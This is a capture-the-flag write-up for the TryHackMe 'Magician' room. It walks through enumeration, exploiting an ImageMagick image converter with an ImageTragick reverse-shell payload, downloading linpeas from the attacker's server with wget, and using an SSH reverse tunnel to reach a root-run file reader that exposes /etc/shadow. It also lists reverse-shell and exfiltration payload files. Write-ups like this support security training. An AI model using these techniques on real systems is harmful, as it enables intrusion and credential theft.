THM Writeup – Magician

THM Writeup – Magician

Magician

This magical website lets you convert image file formats

Room: Magician

Difficulty: Easy

Operating System: Linux

Author: M0N573R777 and ripcurlz

Note: this machine needs about 7 minutes to start up, please be patient 🙂

Please add the IP address of this machine with the hostname “magician” to your /etc/hosts file on Linux before you start.

On Windows, the hosts file should be at C:\Windows\System32\drivers\etc\hosts.

Use the hostname instead of the IP address if you want to upload a file. This is required for the room to work correctly 😉

Have fun and use your magic skills!

Add IP address to your hosts file:

echo '10.10.144.63    magician' >> /etc/hosts

Scan the target machine – find open ports first:

nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv magician

PORT     STATE SERVICE         REASON
21/tcp   open  ftp             syn-ack ttl 64
8080/tcp open  http-proxy      syn-ack ttl 64
8081/tcp open  blackice-icecap syn-ack ttl 64

Get more details about open ports:

nmap -T4 -A -p 21,8080,8081 magician

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 2.0.8 or later
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Wed, 16 Feb 2022 13:56:48 GMT
|     Connection: close
|     {"timestamp":"2022-02-16T13:56:48.600+0000","status":404,"error":"Not Found","message":"No message available","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Wed, 16 Feb 2022 13:56:48 GMT
|     Connection: close
|     {"timestamp":"2022-02-16T13:56:48.437+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
|   HTTPOptions: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Wed, 16 Feb 2022 13:56:48 GMT
|     Connection: close
|     {"timestamp":"2022-02-16T13:56:48.564+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
|   RTSPRequest: 
|     HTTP/1.1 505 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 465
|     Date: Wed, 16 Feb 2022 13:56:48 GMT
|     <!doctype html><html lang="en"><head><title>HTTP Status 505 
|     HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 
|_    HTTP Version Not Supported</h1></body></html>
|_http-title: Site doesn't have a title (application/json).
8081/tcp open  http       nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician

Browsing to http://magician:8080/ we get an error page:

whitelabel error page

Browsing to http://magician:8081/ we get an application that let us convert PNG files to JPG files:

application for converting png to jpg

Directory bruteforce the application – see if we find anything useful:

root@ip-10-10-8-131:~# gobuster dir -u http://magician:8081 -w /usr/share/wordlists/dirb/common.txt

===============================================================
2022/02/16 14:02:32 Starting gobuster
===============================================================
/css (Status: 301)
/favicon.ico (Status: 200)
/img (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
===============================================================
2022/02/16 14:02:32 Finished
===============================================================

Nothing of interest…

Ok, first let’s find out how the whole conversion process (uploading – converting – downloading) works:

  1. start the BurpSuite to catch all the requests – might be helpful later
  2. upload a .png file and review the process:
file conversion process

So there are 3 request:

  • OPTIONS – to find out what methods are allowed
OPTION request
  • POST – to upload your .png file
POST request
  • GET – to get your converted image to the list:
GET request

Now we know we have at least 2 API endpoints:

If we browse to http://magician:8080/upload – we get status code 405 - Method Not Allowed:

upload endpoint get method

Ok, for /upload endpoint, GET method is not allowed.

If we browse to http://magician:8080/files – we get a list of converted files:

files endpoint get method

So I guess, there is an upload directory where all the .png files are uploaded and then there is a files directory where all the converted files (from .png to .jpg) are stored.

We have caught all the requests so we can easily send them to repeater and try to upload a .php file and then call it to execute our .php. However I have no idea how to get to the upload directory to call the .php file – so I think this would be a rabbit hole.

Instead I googled image converter web app vulnerability:

image converter search results

I read the article and then searched for a payload to exploit the vulnerability – PayloadsAllTheThings is the best option to start with.

Clone the git repository if you haven’t already:

git clone https://github.com/swisskyrepo/PayloadsAllTheThings

Go to the Picture Image Magik directory and list files:

cd PayloadsAllTheThings/Upload\ Insecure\ Files/Picture\ Image\ Magik/
ls

convert_local_etc_passwd_html.svg
convert_local_etc_passwd.svg
ghostscript_rce_curl.jpg
imagemagik_ghostscript_cmd_exec.pdf
imagemagik_ghostscript_reverse_shell.jpg
imagetragik1_payload_imageover_file_exfiltration_pangu_wrapper.jpg
imagetragik1_payload_imageover_file_exfiltration_text_wrapper.jpg
imagetragik1_payload_imageover_reverse_shell_devtcp.jpg
imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png
imagetragik1_payload_imageover_wget.gif
imagetragik1_payload_url_bind_shell_nc.mvg
imagetragik1_payload_url_curl.png
imagetragik1_payload_url_portscan.jpg
imagetragik1_payload_url_remote_connection.mvg
imagetragik1_payload_url_reverse_shell_bash.mvg
imagetragik1_payload_url_touch.jpg
imagetragik1_payload_xml_reverse_shell_nctraditional.xml
imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml
imagetragik2_burpcollaborator_passwd.jpg
imagetragik2_centos_id.jpg
imagetragik2_ubuntu_id.jpg
imagetragik2_ubuntu_shell2.jpg
imagetragik2_ubuntu_shell.jpg
README.md

I chose this payload:

imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png

Edit the IP address to your attacking machine’s IP address and run netcat listener:

nc -lnvp 4444

Now upload the file and you’ll receive a reverse connection:

reverse shell

Stabilize the shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
stty rows 24 columns 80
export TERM=xterm-256color

Now look around – find the user flag and read it:

magician@magician:/tmp/hsperfdata_magician$ ls -lA /home
total 4
drwxr-xr-x 5 magician magician 4096 Feb 13  2021 magician
magician@magician:/tmp/hsperfdata_magician$ cd /home/magician/
magician@magician:~$ ls -l
total 17168
-rw-r--r-- 1 root     root     17565546 Jan 30  2021 spring-boot-magician-backend-0.0.1-SNAPSHOT.jar
-rw-r--r-- 1 magician magician      170 Feb 13  2021 the_magic_continues
drwxr-xr-x 2 root     root         4096 Feb  5  2021 uploads
-rw-r--r-- 1 magician magician       24 Jan 30  2021 user.txt
magician@magician:~$ cat user.txt 
THM{[REDACTED]}

At this point I tried some basic privilege escalation vectors:

sudo -l
getcap -r 2>/dev/null
cat /etc/crontab
find / -type f -perm -4000 2>/dev/null

but no luck so I tranfered linpeas.sh to the target machine.

Download linpeas.sh to your attacking machine and run python http server:

wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/linpeas.sh
python3 -m http.server

Download linpeas.sh to the target machine and run it:

magician@magician:/tmp/hsperfdata_magician$ cd /tmp/
magician@magician:/tmp$ wget http://10.10.8.131:8000/linpeas.sh
magician@magician:/tmp$ sh linpeas.sh | tee -a linpeas.log

Now review the log file:

magician@magician:/tmp$ less -R linpeas.log

I have to admit, I didn’t find anything useful at the first time – I tried futher to manually enumerate the machine with no luck again, so I decided to review the log slowly again. Then I noticed these active ports:

linpeas.log active ports

Port 6666 that was only listening to localhost.

I created SSH reverse tunnel to forward port 6666 to my attacking machine:

magician@magician:/tmp$ ssh -R 9000:127.0.0.1:6666 root@10.10.8.131 -f -N

Then I browsed to http://127.0.0.1:9000/ (on my attacking machine):

localhost 9000

There was another web application that expected to enter a file name.

Great, let’s try to read passwd file:

passwd file content

It looks like the content is base64 encoded, so decode it now – you can use e.g. base64 command or my favourite way, CyberChef:

passwd content in cyberchef

Awesome results so far, now try to read shadow file – if we are able to read it, the application runs as root:

shadow file content

Hmm, this is interesting, we can read shadow file, but this time we got, I guess, rotated string instead of base64 encoded – try to decode it with CyberChef:

shadow content in cyberchef

Yep, I was right – ROT13 was used.

Ok, the application is running as root, so we can read anything on the file system, let’s read the root flag:

root flag content

And decode it with CyberChef:

root flag in cyberchef

Note: I played little bit with the app and it looks like each time you request a file it encodes it differently – Base64, ROT13, HEX, Binary, …

Do you like this writeup? Check out other THM Writeups.

Comments are closed.